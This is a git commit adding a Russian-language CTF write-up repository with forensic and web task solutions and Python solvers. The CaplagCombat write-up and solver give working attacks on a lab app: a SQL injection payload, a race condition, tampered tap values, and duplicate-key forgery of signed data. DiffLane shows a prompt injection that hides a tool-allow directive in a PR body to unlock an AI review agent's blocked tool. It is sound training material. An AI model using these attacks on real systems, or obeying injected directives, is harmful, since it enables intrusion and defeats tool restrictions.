commit 880d8698d6e0a52d1bcb42afba4bfa3882334d42 Author: Caplag <> Date: Thu Sep 17 00:50:07 2026 +0300 Init. Commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..7324f1b --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +.DS_Store +__pycache__/ +*.py[cod] +.pytest_cache/ +.venv/ diff --git a/README.md b/README.md new file mode 100644 index 0000000..689c488 --- /dev/null +++ b/README.md @@ -0,0 +1,28 @@ +

+ Сердце Сысолы +

+ +

отборочный и финальный этапы · writeups

+ +

+ stages: 2 + writeups: 45 + solvers: 43 +

+ +Райтапы отборочного и очного этапов CTF-соревнования [**«Сердце Сысолы»**](https://caplag.ru/competitions/the-heart-of-sysola), которое проводилось в рамках фестиваля [**GameIt**](https://vk.com/gameitkomi). + +## Задания + +Разборы сгруппированы по этапам, внутри каждого этапа задания разделены по категориям. + +| Этап | Райтапы | Категории | +|---|---|---| +| [Отборочный](qualifiers/README.md) | 18 разборов | Crypto, Forensic, OSINT, PWN, Reverse, Web | +| [Финальный](finals/README.md) | 27 разборов | Crypto, Forensic, PWN, Reverse, Stego, Web, Minecraft | + +--- + +

+ Caplag +

diff --git a/assets/banner.jpeg b/assets/banner.jpeg new file mode 100644 index 0000000..509e38b Binary files /dev/null and b/assets/banner.jpeg differ diff --git a/assets/caplag-logo.svg b/assets/caplag-logo.svg new file mode 100644 index 0000000..531fd2b --- /dev/null +++ b/assets/caplag-logo.svg @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/finals/README.md b/finals/README.md new file mode 100644 index 0000000..67c7214 --- /dev/null +++ b/finals/README.md @@ -0,0 +1,101 @@ +

Сердце Сысолы

+ +

Финальный этап · writeups

+ +

+ writeups: 27 + categories: 7 +

+ +[Оба этапа](../README.md) + +## Задания + +
+Crypto · 2 разбора + +| Сложность | Таск | Описание | +|---|---|---| +| ![easy](https://img.shields.io/badge/easy-brightgreen) | [NullRoute KEM](nullroute-kem-crypto-easy/WRITEUP.md) | Открываем отклонённую KEM-капсулу с общедоступным fallback-секретом. | +| ![easy](https://img.shields.io/badge/easy-brightgreen) | [ScalarAlias](scalaralias-crypto-easy/WRITEUP.md) | Меняем скаляр подписи на эквивалентный и получаем ключ экспорта. | + +
+ +
+Forensic · 2 разбора + +| Сложность | Таск | Описание | +|---|---|---| +| ![medium](https://img.shields.io/badge/medium-orange) | [Admission Drift](admission-drift-forensic-medium/WRITEUP.md) | Связываем прямой AdmissionReview, procfd и успешное чтение секрета. | +| ![medium](https://img.shields.io/badge/medium-orange) | [Grant Residue](grant-residue-forensic-medium/WRITEUP.md) | Прослеживаем device code phishing от кода на станции до Graph-экспорта. | + +
+ +
+PWN · 7 разборов + +| Сложность | Таск | Описание | +|---|---|---| +| ![medium](https://img.shields.io/badge/medium-orange) | [ProxyRewrite](proxyrewrite-pwn-medium/WRITEUP.md) | Длинной заменой URL переписываем маршрут и поле диагностики. | +| ![easy](https://img.shields.io/badge/easy-brightgreen) | [PulseWidth](pulsewidth-pwn-easy/WRITEUP.md) | Обходим проверку длины через uint8_t и переписываем права сессии. | +| ![medium](https://img.shields.io/badge/medium-orange) | [RailAnnot](railannot-pwn-medium/WRITEUP.md) | Переполняем refcount и подменяем аннотацию через use-after-free. | +| ![hard](https://img.shields.io/badge/hard-critical) | [RawForge X3F](rawforge-x3f-pwn-hard/WRITEUP.md) | Переполняем произведение размеров RAW и затираем поля задания samples-данными. | +| ![easy](https://img.shields.io/badge/easy-brightgreen) | [RegexScope](regexscope-pwn-easy/WRITEUP.md) | Восстанавливаем случайный токен побайтовым оракулом чтения за границей. | +| ![easy](https://img.shields.io/badge/easy-brightgreen) | [SortKey Station](sortkey-station-pwn-easy/WRITEUP.md) | Знаковым смещением направляем проверку ключа на строку допуска в профиле. | +| ![hard](https://img.shields.io/badge/hard-critical) | [ZCRX Broker](zcrx-broker-pwn-hard/WRITEUP.md) | Двойным возвратом блока перекрываем capability и меняем закодированный handler. | + +
+ +
+Reverse · 5 разборов + +| Сложность | Таск | Описание | +|---|---|---| +| ![medium](https://img.shields.io/badge/medium-orange) | [Orchid Wallet](orchid-wallet-ios-reverse-medium/WRITEUP.md) | Связываем конфиг в Mach-O с ключом из provisioning profile. | +| ![easy](https://img.shields.io/badge/easy-brightgreen) | [PYZ Sidecar](pyzsidecar-python-reverse-easy/WRITEUP.md) | Распаковываем боковой блок Python-байткода и собираем флаг. | +| ![medium](https://img.shields.io/badge/medium-orange) | [Tollgate IIS](tollgate-iis-dotnet-reverse-medium/WRITEUP.md) | Расшифровываем таблицу маршрутов AES-ключом из IIS-модуля. | +| ![medium](https://img.shields.io/badge/medium-orange) | [WasmCoat](wasmcoat-android-reverse-medium/WRITEUP.md) | Разбираем custom section wasm и снимаем XOR ключом из DEX. | +| ![hard](https://img.shields.io/badge/hard-critical) | [Wheelhouse Beacon](wheelhouse-beacon-python-reverse-hard/WRITEUP.md) | По RECORD находим LZMA-стадию и извлекаем константы байткода. | + +
+ +
+Stego · 4 разбора + +| Сложность | Таск | Описание | +|---|---|---| +| — | [В глазах всё написано](kot1/WRITEUP.md) | Читаем полубайты из перестановок пикселей в блоках 2 × 2. | +| — | [Мы снова пришли к носу](kot5/WRITEUP.md) | Из PNG извлекаем PCAPNG и исполняем скрытую сцену, чтобы найти нос. | +| — | [Он немного изменился](kot4/WRITEUP.md) | По встроенному оригиналу восстанавливаем сетку и читаем направления сдвигов. | +| — | [У него есть прошлое](kot2/WRITEUP.md) | Восстанавливаем записку из CatFS по снимку и зафиксированным транзакциям. | + +
+ +
+Web · 6 разборов + +| Сложность | Таск | Описание | +|---|---|---| +| ![hard](https://img.shields.io/badge/hard-critical) | [CaplagCombat](caplagcombat-web-hard/WRITEUP.md) | Получаем пять флагов через debug-пакет, тапы, гонку, SQLi и дубли полей доказательства. | +| ![easy](https://img.shields.io/badge/easy-brightgreen) | [DiffLane](difflane-web-easy/WRITEUP.md) | Вставляем разрешающую директиву в PR body и открываем внутреннюю заметку. | +| ![hard+](https://img.shields.io/badge/hard%2B-critical) | [DocMerge](task12_docmerge/WRITEUP.md) | Обходим AutoType-фильтр разрешённым reflection-плагином или наследником. | +| ![hard](https://img.shields.io/badge/hard-critical) | [FlowBase](task11_flowbase/WRITEUP.md) | Через IDOR и открытый вебхук копируем флаг в статику аргументами curl. | +| ![hard](https://img.shields.io/badge/hard-critical) | [GateKeeper](task13_gatekeeper/WRITEUP.md) | Получаем admin через смену пароля и выполняем root-команду через email. | +| — | [MongoPages](mongo-pages/WRITEUP.md) | Импортируем файл с флагом через серверный JS и обходим фильтр конкатенацией. | + +
+ +
+Minecraft · 1 разбор + +| Сложность | Таск | Описание | +|---|---|---| +| — | [SYKTYV/KAR](syktyvkar/WRITEUP.md) | Через обработчик JNDI-ссылок стенда загружаем Bukkit-плагин и читаем флаг. | + +
+ +--- + +

+ Caplag +

diff --git a/finals/admission-drift-forensic-medium/WRITEUP.md b/finals/admission-drift-forensic-medium/WRITEUP.md new file mode 100644 index 0000000..11e0298 --- /dev/null +++ b/finals/admission-drift-forensic-medium/WRITEUP.md @@ -0,0 +1,46 @@ +

Admission Drift

+ +

+ Forensic + medium +

+ +В архиве `admission_drift_case.zip` находятся материалы инцидента с admission-контроллером ingress-nginx. Нужно восстановить последовательность событий от входящего AdmissionReview до чтения секрета. Флаг состоит из четырёх частей, которые находим по журналам. + +## Решение + +Проверяем переходы по файлам архива. + +| Артефакт | Что подтверждает | +|---|---| +| `network/admission_service_access.jsonl` | Источник запроса и `review_uid` | +| `admission/reviews/review-*.json` | Тело AdmissionReview | +| `ingress-nginx/controller.log` | Обработку запроса контроллером | +| `ingress-nginx/config_snapshots.tar` | Сгенерированный `nginx.conf` | +| `runtime/falco_events.jsonl` | Фактическое обращение к файлу | +| `rbac/secret_access.jsonl` | Успешное чтение секрета | + +Начинаем с access log. Ищем `POST`, у которого `source_category == "workload-pod"` и `apiserver_proxy == false`. Запрос пришёл прямо от workload-пода, минуя API server. Из записи берём `review_uid`, начинающийся с `84f1d2`, и путь `review_file`. + +Открываем указанный JSON и сверяем `request.uid`. В аннотациях объекта находим `validation-template`: именно она запускает обработку шаблона. Тот же UID встречается в логе контроллера. + +Для поиска снимка берём первые шесть символов UID, то есть `84f1d2`. В `ingress-nginx/config_snapshots.tar` читаем соответствующий `snapshots/review-84f1d2/nginx.conf`. В конфиге есть путь вида `/proc//fd/` — обращение к файловому дескриптору процесса. Одного конфига мало, поэтому ищем в Falco событие с тем же `review_uid` и точно совпадающим `fd.name`. Из поля `marker` совпавшего события получаем `procfd`. + +Переходим к журналу секретов. Выбираем запись с тем же UID, `verb=get`, `resource=secrets`, `response_code=200`. Хвост имени прочитанного секрета — `7c19`. + +Собираем нормализованные компоненты: + +| Компонент | Значение | +|---|---| +| Тип потока | `ad` | +| Первые шесть символов UID | `84f1d2` | +| Маркер из runtime-события | `procfd` | +| Хвост имени секрета | `7c19` | + +Соединяем их через `_`. Совпадение UID и пути дескриптора на промежуточных шагах подтверждает, что запрос, конфиг, runtime-событие и чтение секрета относятся к одному инциденту. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{ad_84f1d2_procfd_7c19}` diff --git a/finals/admission-drift-forensic-medium/solve/solve.py b/finals/admission-drift-forensic-medium/solve/solve.py new file mode 100644 index 0000000..4bf669f --- /dev/null +++ b/finals/admission-drift-forensic-medium/solve/solve.py @@ -0,0 +1,115 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +import io +import json +import re +import sys +import tarfile +import zipfile +from pathlib import Path +from typing import Any + + +def read_text(zf: zipfile.ZipFile, name: str) -> str: + return zf.read(name).decode("utf-8") + + +def read_json(zf: zipfile.ZipFile, name: str) -> Any: + return json.loads(read_text(zf, name)) + + +def read_jsonl(zf: zipfile.ZipFile, name: str) -> list[dict[str, Any]]: + rows = [] + for line in read_text(zf, name).splitlines(): + line = line.strip() + if line: + rows.append(json.loads(line)) + return rows + + +def extract_snapshot_text(zf: zipfile.ZipFile, review_short: str) -> str: + blob = zf.read("ingress-nginx/config_snapshots.tar") + with tarfile.open(fileobj=io.BytesIO(blob), mode="r") as tf: + member = tf.extractfile(f"snapshots/review-{review_short}/nginx.conf") + if member is None: + raise ValueError("missing matching nginx config snapshot") + return member.read().decode("utf-8") + + +def recover_components(bundle_path: str | Path) -> dict[str, str]: + with zipfile.ZipFile(bundle_path) as zf: + access_rows = read_jsonl(zf, "network/admission_service_access.jsonl") + direct = next( + row + for row in access_rows + if row.get("method") == "POST" + and row.get("source_category") == "workload-pod" + and not row.get("apiserver_proxy") + ) + review_uid = direct["review_uid"] + review_short = review_uid.split("-", 1)[0][:6] + + review = read_json(zf, direct["review_file"]) + if review["request"]["uid"] != review_uid: + raise ValueError("AdmissionReview file does not match access log UID") + annotations = review["request"]["object"]["metadata"].get("annotations", {}) + if "validation-template" not in " ".join(annotations): + raise ValueError("matched review lacks validation-template annotation") + + controller_log = read_text(zf, "ingress-nginx/controller.log") + if review_uid not in controller_log: + raise ValueError("review UID missing from controller log") + + snapshot = extract_snapshot_text(zf, review_short) + proc_fd_match = re.search(r"/proc/\d+/fd/\d+", snapshot) + if not proc_fd_match: + raise ValueError("matching snapshot does not contain a proc fd marker") + + falco_rows = read_jsonl(zf, "runtime/falco_events.jsonl") + runtime = next( + row + for row in falco_rows + if row.get("review_uid") == review_uid and row.get("fd.name") == proc_fd_match.group(0) + ) + + secret_rows = read_jsonl(zf, "rbac/secret_access.jsonl") + secret = next( + row + for row in secret_rows + if row.get("review_uid") == review_uid + and row.get("verb") == "get" + and row.get("resource") == "secrets" + and row.get("response_code") == 200 + ) + + return { + "flow": "ad", + "review_short": review_short, + "fd_marker": runtime["marker"], + "secret_tail": secret["name"].rsplit("-", 1)[-1], + } + + +def solve_bundle(bundle_path: str | Path) -> str: + components = recover_components(bundle_path) + return "caplag{" + "_".join( + [ + components["flow"], + components["review_short"], + components["fd_marker"], + components["secret_tail"], + ] + ) + "}" + + +def main(argv: list[str]) -> int: + if len(argv) != 2: + print(f"usage: {Path(argv[0]).name} public/admission_drift_case.zip", file=sys.stderr) + return 2 + print(solve_bundle(argv[1])) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main(sys.argv)) diff --git a/finals/caplagcombat-web-hard/WRITEUP.md b/finals/caplagcombat-web-hard/WRITEUP.md new file mode 100644 index 0000000..8e6c993 --- /dev/null +++ b/finals/caplagcombat-web-hard/WRITEUP.md @@ -0,0 +1,99 @@ +

CaplagCombat

+ +

+ Web + hard +

+ +Caplag Combat — Telegram Mini App с тапами, карточками и рейтингом. В игровом клиенте и API находятся пять флагов. Получаем сессию через обычный вход Mini App и начинаем смотреть запросы в DevTools. + +При запуске frontend сам отправляет `Telegram.WebApp.initData` в `/api/auth/telegram`, а сервер проверяет подпись и устанавливает HttpOnly-cookie сессии. Интерфейс запускается только на мобильных клиентах (`android`, `android_x`, `ios`), поэтому в обычном браузере и Telegram Desktop показывается экран неподдерживаемого устройства. Для перехвата запросов используем remote debugging мобильного WebView или прокси. HttpOnly-cookie из JavaScript не читается, но same-origin `fetch` в консоли WebView отправляет её автоматически. + +## Решение + +Нужные операции находятся в `/api/ctf/*`. Без сессии они отвечают `401`, а с сессией неизвестный путь даёт `404`, существующая POST-ручка при GET возвращает `405`, GET-ручки отвечают `200`. `OPTIONS` для разведки бесполезен, поскольку общий CORS-обработчик отвечает `204` до маршрутизации. Так находятся пять независимых задач, это `tap/claim`, `cards/upgrade`, `contracts/search`, `telegram-proof/template` и `telegram-proof`. + +Для тапов и гонки у них отдельное состояние, поэтому ориентируемся на ответы этих эндпоинтов. Для запросов нужны cookie авторизованной сессии. В гонке используем отдельных новых игроков, а в остальных ветках сохраняем первоначальную сессию. + +> Солвер создаёт игроков через `POST /api/auth/telegram` с `devName`, поэтому ему нужен стенд с `ALLOW_DEV_AUTH=1`. При обычном Telegram-входе запросы выполняем из авторизованной сессии мобильного WebView. + +### Отладочный пакет + +Клиент загружает `/api/ctf/debug-bundle.js`. Запрашиваем его напрямую из авторизованной сессии: + +```http +GET /api/ctf/debug-bundle.js +``` + +Скрипт создаёт `window.__CAPLAG_DEBUG__`, внутри которого лежит первый флаг. Он читается прямо из тела ответа. + +### Проверка параметров тапа + +`POST /api/ctf/tap/claim` принимает `taps`, `tapPower` и `comboMultiplier`. Начисление считается как произведение этих трёх чисел, а силу тапа сервер берёт у клиента без сверки с прогрессом, ограничивая лишь диапазоны, включая `tapPower` до `10000000` и `comboMultiplier` до `100`. + +Отправляем JSON: + +```json +{"taps":10,"tapPower":100000,"comboMultiplier":1} +``` + +Получается `10 × 100000 × 1 = 1000000`. Это порог выдачи второго флага, который приходит в поле `flag`. У обычного игрока такого tap power нет, но запрос проходит все проверки диапазонов. + +### Гонка при улучшении карточки + +Карточка `Parallel Miner` улучшается через `POST /api/ctf/cards/upgrade` со стартовым балансом `1000`, ценой апгрейда `700` и целевым уровнем `5`. При последовательных покупках баланса хватает лишь на один уровень. Но между проверкой денег и обновлением состояния есть задержка около 125 мс, а повторной проверки баланса в `UPDATE` нет. + +Создаём нового игрока и отправляем восемь запросов одновременно, с одной cookie и JSON-телом `{}`. Несколько запросов проходят проверку баланса до первого списания, поэтому каждый обработчик увеличивает `ctf_card_level`. Когда уровень достигает `5`, в ответе появляется флаг. + +Если запросы не успели пройти проверку одновременно, повторяем попытку с новым игроком, поскольку у предыдущего баланс уже мог измениться. Солвер делает до четырёх таких попыток, создавая отдельного игрока для каждой. + +### SQL-инъекция в поиске контрактов + +Поиск `GET /api/ctf/contracts/search?q=...` вставляет `q` в SQL-условие `ILIKE`. Пробуем boolean-инъекцию, открывающую скрытые строки: + +```text +' OR is_hidden = true -- +``` + +Значение передаём в `q` с URL-кодированием. Условие позволяет вернуть контракт с `is_hidden = true` и четвёртым ответом в поле `flag`. Фильтр вырезает слова вроде `union` и `select` и блокирует составные запросы, но пропускает одинарную кавычку и `OR`, поэтому для этой ветки достаточно изменить логическое условие. + +Вместо комментария можно закрыть строку поиска и открыть её снова, чтобы сохранить хвост исходного запроса: + +```text +' OR is_hidden = true OR title ILIKE ' +``` + +В обоих вариантах в ответе появляется скрытый контракт `ghost-contract-42`, чьё поле `flag` не очищается. + +### Дублирование ключей + +Берём подписанный шаблон из `GET /api/ctf/telegram-proof/template`, поле `initData`. Это отдельная CTF-строка, свежеподписанная сервером и содержащая `ctf_role=observer` и `ctf_claim=viewer`. Шаблон действителен в течение десяти минут после получения. При проверке подписи обработчик использует **первое** значение каждого ключа, а для авторизации — **последнее**. + +Дописываем в конец шаблона дубли: + +```text +&ctf_role=auditor&ctf_claim=claim_hard_flag +``` + +Затем отправляем изменённую строку в `POST /api/ctf/telegram-proof`: + +```python +forged = template + "&ctf_role=auditor&ctf_claim=claim_hard_flag" +payload = {"initData": forged} +``` + +Подписанные первые значения остались прежними, поэтому подпись сходится. Проверка прав видит последние `auditor` и `claim_hard_flag` и возвращает пятый флаг. + +[Солвер](solve/solve.py). + +## Все этапы + +| Этап | Флаг | +|---|---| +| 1 | `caplag{cc_easy_1_05873347cbcbfa04}` | +| 2 | `caplag{cc_easy_2_a9570608a3553c4a}` | +| 3 | `caplag{cc_medium_1_00d451298c753b3d}` | +| 4 | `caplag{cc_medium_2_bdaef85af11b3c2b}` | +| 5 | `caplag{cc_hard_1_ffaa2e690177555d}` | + +Значения флагов генерируются при развёртывании стенда, поэтому на другом инстансе они будут другими (на проде, например, с префиксом `prod_` вместо `cc_`). diff --git a/finals/caplagcombat-web-hard/solve/solve.py b/finals/caplagcombat-web-hard/solve/solve.py new file mode 100644 index 0000000..59f4ef6 --- /dev/null +++ b/finals/caplagcombat-web-hard/solve/solve.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python3 +import argparse +import concurrent.futures +import http.cookiejar +import json +import random +import re +import string +import sys +import urllib.error +import urllib.parse +import urllib.request + + +FLAG_RE = re.compile(r"caplag\{[^{}]+\}") + + +class Client: + def __init__(self, base_url: str): + self.base_url = base_url.rstrip("/") + self.cookies = http.cookiejar.CookieJar() + self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.cookies)) + + def cookie_header(self) -> str: + return "; ".join(f"{cookie.name}={cookie.value}" for cookie in self.cookies) + + def request(self, method: str, path: str, body: dict | None = None, cookie: str | None = None) -> tuple[int, bytes]: + data = None + headers = {} + if body is not None: + data = json.dumps(body).encode() + headers["Content-Type"] = "application/json" + if cookie: + headers["Cookie"] = cookie + req = urllib.request.Request(self.base_url + path, data=data, headers=headers, method=method) + try: + with self.opener.open(req, timeout=8) as response: + return response.status, response.read() + except urllib.error.HTTPError as exc: + return exc.code, exc.read() + + def json(self, method: str, path: str, body: dict | None = None, cookie: str | None = None) -> dict: + status, raw = self.request(method, path, body, cookie) + if status >= 400: + raise RuntimeError(f"{method} {path} returned HTTP {status}: {raw[:200]!r}") + return json.loads(raw.decode()) + + +def random_name() -> str: + suffix = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10)) + return f"ctf-solver-{suffix}" + + +def authenticate(client: Client) -> str: + client.json("POST", "/api/auth/telegram", {"devName": random_name()}) + cookie = client.cookie_header() + if not cookie: + raise RuntimeError("auth did not set a session cookie") + return cookie + + +def flag_from_text(text: str) -> str: + match = FLAG_RE.search(text) + if not match: + raise RuntimeError(f"flag not found in response: {text[:300]!r}") + return match.group(0) + + +def solve_debug_bundle(client: Client) -> str: + status, raw = client.request("GET", "/api/ctf/debug-bundle.js") + if status != 200: + raise RuntimeError(f"debug bundle returned HTTP {status}") + return flag_from_text(raw.decode()) + + +def solve_tap_claim(client: Client) -> str: + data = client.json( + "POST", + "/api/ctf/tap/claim", + {"taps": 10, "tapPower": 100000, "comboMultiplier": 1}, + ) + if "flag" not in data: + raise RuntimeError(f"tap claim did not return flag: {data}") + return data["flag"] + + +def solve_race_upgrade(base_url: str, attempts: int = 4) -> str: + for _ in range(attempts): + client = Client(base_url) + cookie = authenticate(client) + + def upgrade_once() -> dict: + worker = Client(base_url) + return worker.json("POST", "/api/ctf/cards/upgrade", {}, cookie=cookie) + + with concurrent.futures.ThreadPoolExecutor(max_workers=8) as pool: + futures = [pool.submit(upgrade_once) for _ in range(8)] + for future in concurrent.futures.as_completed(futures): + try: + data = future.result() + except Exception: + continue + if data.get("flag"): + return data["flag"] + raise RuntimeError("race upgrade did not reach target level") + + +def solve_contract_search(client: Client) -> str: + query = urllib.parse.urlencode({"q": "' OR is_hidden = true --"}) + data = client.json("GET", f"/api/ctf/contracts/search?{query}") + for contract in data.get("contracts", []): + if contract.get("flag"): + return contract["flag"] + raise RuntimeError(f"hidden contract flag not found: {data}") + + +def solve_telegram_proof(client: Client) -> str: + template = client.json("GET", "/api/ctf/telegram-proof/template")["initData"] + forged = template + "&ctf_role=auditor&ctf_claim=claim_hard_flag" + data = client.json("POST", "/api/ctf/telegram-proof", {"initData": forged}) + if not data.get("success") or not data.get("flag"): + raise RuntimeError(f"telegram proof was not accepted: {data}") + return data["flag"] + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument("url", nargs="?", default="http://127.0.0.1:18080") + args = parser.parse_args() + + client = Client(args.url) + authenticate(client) + + flags = [ + solve_debug_bundle(client), + solve_tap_claim(client), + solve_race_upgrade(args.url), + solve_contract_search(client), + solve_telegram_proof(client), + ] + for flag in flags: + print(flag) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/finals/difflane-web-easy/WRITEUP.md b/finals/difflane-web-easy/WRITEUP.md new file mode 100644 index 0000000..76664bb --- /dev/null +++ b/finals/difflane-web-easy/WRITEUP.md @@ -0,0 +1,39 @@ +

DiffLane

+ +

+ Web + easy +

+ +На старте есть URL сервиса DiffLane, который проверяет релизные pull request’ы с помощью агента. В форме запуска ревью можно отправить описание PR и посмотреть трассу вызовов инструментов. Нужная внутренняя заметка читается через `release_notes.read`, но по умолчанию этот инструмент заблокирован. + +## Решение + +Сервис собирает контекст из правил проекта `.difflane.yml`, описания PR и diff. В правилах видим синтаксис служебных директив: + +```text +difflane: allow-tool scope= +difflane: block-tool release_notes.read unless scope=release-freeze +``` + +Ревью запускается запросом `POST /api/review` с JSON-полем `body`. Проверяем, можно ли поместить разрешающую директиву прямо туда. + +Если правила и описание PR обрабатываются как один текст, служебная директива из `body` может сработать как разрешение инструмента. + +Отправляем точную директиву внутри HTML-комментария: + +```bash +curl -sS http://:8080/api/review \ + -H 'Content-Type: application/json' \ + --data '{"body":""}' +``` + +В трассе инструмент получает статус `allowed`, а результат его вызова появляется в `toolCalls[].result`. В заметке и поле `flag` лежит флаг. Гипотеза подтвердилась. Обработчик принял директиву из недоверенного `body` как правило проекта. HTML-комментарий не помешал распознать её. + +Здесь достаточно одной точной строки. Уязвимость возникает в момент, когда недоверенное описание PR получает право задавать политику инструментов. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{agent_context_needs_trust_boundaries}` diff --git a/finals/difflane-web-easy/solve/solve.py b/finals/difflane-web-easy/solve/solve.py new file mode 100644 index 0000000..142750e --- /dev/null +++ b/finals/difflane-web-easy/solve/solve.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +import json +import sys +import urllib.request + + +PAYLOAD = "" + + +def solve(base_url: str) -> str: + request = urllib.request.Request( + base_url.rstrip("/") + "/api/review", + data=json.dumps({"body": PAYLOAD}).encode(), + headers={"Content-Type": "application/json"}, + method="POST", + ) + with urllib.request.urlopen(request, timeout=5) as response: + data = json.loads(response.read().decode()) + + flag = data.get("flag") + if not isinstance(flag, str) or not flag.startswith("caplag{"): + raise RuntimeError("flag was not returned by review trace") + return flag + + +def main() -> None: + if len(sys.argv) != 2: + print(f"usage: {sys.argv[0]} http://127.0.0.1:8080", file=sys.stderr) + raise SystemExit(2) + print(solve(sys.argv[1])) + + +if __name__ == "__main__": + main() diff --git a/finals/grant-residue-forensic-medium/WRITEUP.md b/finals/grant-residue-forensic-medium/WRITEUP.md new file mode 100644 index 0000000..5ad8797 --- /dev/null +++ b/finals/grant-residue-forensic-medium/WRITEUP.md @@ -0,0 +1,45 @@ +

Grant Residue

+ +

+ Forensic + medium +

+ +В архиве `grant_residue_case.zip` находится выгрузка SOC. В материалах инцидента описаны отправка кода финансовому отделу под предлогом передачи встречи и последующий экспорт Microsoft Graph. Пароль не менялся, MFA прошла штатно. По журналам определяем, какой поток авторизации использовался для доступа. + +## Решение + +Начинаем с рабочей станции, затем идём по облачным журналам: + +| Файл | Что ищем | +|---|---| +| `endpoint/powershell_transcript.txt` | Код, который видела жертва | +| `endpoint/defender_device_events.jsonl` | Подтверждение того же кода | +| `entra/signin_logs.jsonl` | Успешный вход и `correlationId` | +| `entra/audit_logs.jsonl` | Выданный OAuth-грант | +| `m365/unified_audit_log.jsonl` | Экспорт с этим грантом | + +В транскрипте PowerShell находим `FJQ9-L2RM` — строку формата `[A-Z0-9]{4}-[A-Z0-9]{4}`. Тот же код есть в телеметрии Defender, в `AdditionalFields.UserCodeObserved`. + +Теперь фильтруем входы Entra: `authenticationProtocol == "DeviceCode"`, `userCodeEvidence == "FJQ9-L2RM"`, `status.errorCode == 0`. Получаем успешную авторизацию через device code flow и её `correlationId`. + +Пароль не менялся, поскольку жертва прошла штатный вход, но подтвердила код чужого запроса. Теперь выясняем, какие права получила эта авторизация. + +В `entra/audit_logs.jsonl` находим `Consent to application` с тем же `correlationId` и `result == "success"`. Среди `targetResources[].modifiedProperties[]` читаем `newValue` свойства `OAuth2PermissionGrant.Id`. Сохраняем полный идентификатор для сопоставления событий, а его хвост после последнего дефиса, `grant72`, используем в ответе. + +Проверяем последствия в M365. Нужна запись `GraphExportJobCreated`, где одновременно совпадают `CorrelationId` и `OAuth2PermissionGrantId`, а `ResultStatus == "Succeeded"`. Из `ExportId` берём хвост `export18`. + +Формат ответа собирается так: + +```python +parts = ["dc", "FJQ9-L2RM".replace("-", "").lower(), "grant72", "export18"] +flag = "caplag{" + "_".join(parts) + "}" +``` + +`dc` обозначает найденный поток. Остальные части связывают наблюдение кода на рабочей станции с успешным входом, выдачей согласия и последующим экспортом. Совпадение идентификаторов на каждом переходе подтверждает эту связь. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{dc_fjq9l2rm_grant72_export18}` diff --git a/finals/grant-residue-forensic-medium/solve/solve.py b/finals/grant-residue-forensic-medium/solve/solve.py new file mode 100644 index 0000000..1224020 --- /dev/null +++ b/finals/grant-residue-forensic-medium/solve/solve.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +import json +import re +import sys +import zipfile +from pathlib import Path +from typing import Any + + +USER_CODE_RE = re.compile(r"\b[A-Z0-9]{4}-[A-Z0-9]{4}\b") + + +def read_text(zf: zipfile.ZipFile, name: str) -> str: + return zf.read(name).decode("utf-8") + + +def read_jsonl(zf: zipfile.ZipFile, name: str) -> list[dict[str, Any]]: + rows = [] + for line in read_text(zf, name).splitlines(): + line = line.strip() + if line: + rows.append(json.loads(line)) + return rows + + +def normalize_code(value: str) -> str: + return re.sub(r"[^A-Za-z0-9]", "", value).lower() + + +def nested_modified_property(row: dict[str, Any], display_name: str) -> str | None: + for resource in row.get("targetResources", []): + for prop in resource.get("modifiedProperties", []): + if prop.get("displayName") == display_name: + return prop.get("newValue") + return None + + +def recover_components(bundle_path: str | Path) -> dict[str, str]: + with zipfile.ZipFile(bundle_path) as zf: + transcript = read_text(zf, "endpoint/powershell_transcript.txt") + code_match = USER_CODE_RE.search(transcript) + if not code_match: + raise ValueError("no device user code found in endpoint transcript") + user_code = code_match.group(0) + + defender_rows = read_jsonl(zf, "endpoint/defender_device_events.jsonl") + if not any(row.get("AdditionalFields", {}).get("UserCodeObserved") == user_code for row in defender_rows): + raise ValueError("endpoint telemetry does not confirm the same user code") + + signin_rows = read_jsonl(zf, "entra/signin_logs.jsonl") + signin = next( + row + for row in signin_rows + if row.get("authenticationProtocol") == "DeviceCode" + and row.get("userCodeEvidence") == user_code + and row.get("status", {}).get("errorCode") == 0 + ) + correlation_id = signin["correlationId"] + flow = signin.get("flow_key", "dc") + + audit_rows = read_jsonl(zf, "entra/audit_logs.jsonl") + consent = next( + row + for row in audit_rows + if row.get("activityDisplayName") == "Consent to application" + and row.get("correlationId") == correlation_id + and row.get("result") == "success" + ) + grant_id = nested_modified_property(consent, "OAuth2PermissionGrant.Id") + if not grant_id: + raise ValueError("consent event does not include OAuth2PermissionGrant.Id") + grant_tail = grant_id.rsplit("-", 1)[-1] + + m365_rows = read_jsonl(zf, "m365/unified_audit_log.jsonl") + export = next( + row + for row in m365_rows + if row.get("Operation") == "GraphExportJobCreated" + and row.get("CorrelationId") == correlation_id + and row.get("OAuth2PermissionGrantId") == grant_id + and row.get("ResultStatus") == "Succeeded" + ) + export_tail = export["ExportId"].rsplit("-", 1)[-1] + + return { + "flow": flow, + "user_code": normalize_code(user_code), + "grant_tail": grant_tail, + "export_tail": export_tail, + } + + +def solve_bundle(bundle_path: str | Path) -> str: + components = recover_components(bundle_path) + return "caplag{" + "_".join( + [ + components["flow"], + components["user_code"], + components["grant_tail"], + components["export_tail"], + ] + ) + "}" + + +def main(argv: list[str]) -> int: + if len(argv) != 2: + print(f"usage: {Path(argv[0]).name} public/grant_residue_case.zip", file=sys.stderr) + return 2 + print(solve_bundle(argv[1])) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main(sys.argv)) diff --git a/finals/kot1/WRITEUP.md b/finals/kot1/WRITEUP.md new file mode 100644 index 0000000..8724ce9 --- /dev/null +++ b/finals/kot1/WRITEUP.md @@ -0,0 +1,66 @@ +

В глазах всё написано

+ +

+ Stego +

